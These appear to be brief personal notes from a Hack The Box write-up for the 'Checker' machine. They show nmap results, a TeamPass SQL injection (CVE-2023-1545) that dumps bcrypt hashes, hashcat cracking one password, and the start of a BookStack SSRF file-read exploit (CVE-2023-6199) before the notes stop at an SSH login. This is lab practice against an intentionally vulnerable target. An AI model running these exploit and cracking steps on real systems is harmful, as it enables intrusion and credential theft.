✔️Checker
https://app.hackthebox.com/machines/Checker

Recon
nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd
8080/tcp open http syn-ack ttl 63 Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


User
Teampass CVE-2023-1545
./teampass-sqli.sh http://checker.htb:8080
There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt --show
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader
Bookstack

Backup Location

Mobile App Setup

CVE-2023-6199 LFR via Blind SSRF
git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit
cd php_filter_chains_oracle_exploit
SSH Login

ssh reader@checker.htb
(reader@checker.htb) Password:
(reader@checker.htb) Verification code:
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